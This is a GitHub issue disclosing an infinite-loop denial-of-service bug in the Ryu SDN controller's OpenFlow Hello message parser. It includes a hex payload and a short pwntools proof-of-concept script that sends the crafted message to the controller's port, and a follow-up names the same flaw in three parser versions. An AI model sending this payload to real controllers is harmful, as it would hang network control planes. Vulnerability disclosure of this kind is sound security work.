Skip to content
New issue

Have a question about this project? # for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “#”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? # to your account

Suggestion for OFPHello parser will cause an infinite loop #195

Open
ErodedElk opened this issue Mar 26, 2024 · 1 comment
Open

Suggestion for OFPHello parser will cause an infinite loop #195

ErodedElk opened this issue Mar 26, 2024 · 1 comment

Comments

@ErodedElk
Copy link

in /ryu/ofproto/ofproto_v1_3_parser.py about line=139

class OFPHello(MsgBase):
...
    @classmethod
    def parser(cls, datapath, version, msg_type, msg_len, xid, buf):
        msg = super(OFPHello, cls).parser(datapath, version, msg_type,
                                          msg_len, xid, buf)

        offset = ofproto.OFP_HELLO_HEADER_SIZE
        elems = []
        while offset < msg.msg_len:
            type_, length = struct.unpack_from(
                ofproto.OFP_HELLO_ELEM_HEADER_PACK_STR, msg.buf, offset)
            ...
            offset += length
        msg.elements = elems
        return msg

If the variable length is equal to 0,the offset will no longer change and the parsing will fall into an infinite loop.

payload:

payload="04000010000000130001000000000010"
payload=bytes.fromhex(payload)

poc:

from pwn import *
p=remote("0.0.0.0",6633)
payload="04000010000000130001000000000010"
payload=bytes.fromhex(payload)p.send(payload)
p.interactive()

The Hello message is the first step in the handshake process, which means that all malicious traffic can put the controller into an infinite loop before establishing a connection with the controller.

@ErodedElk
Copy link
Author

This problem also occurs with the following code:
/ryu/ofproto/ofproto_v1_3_parser.py about line=139
/ryu/ofproto/ofproto_v1_4_parser.py about line=103
/ryu/ofproto/ofproto_v1_5_parser.py about line=104

# for free to join this conversation on GitHub. Already have an account? # to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant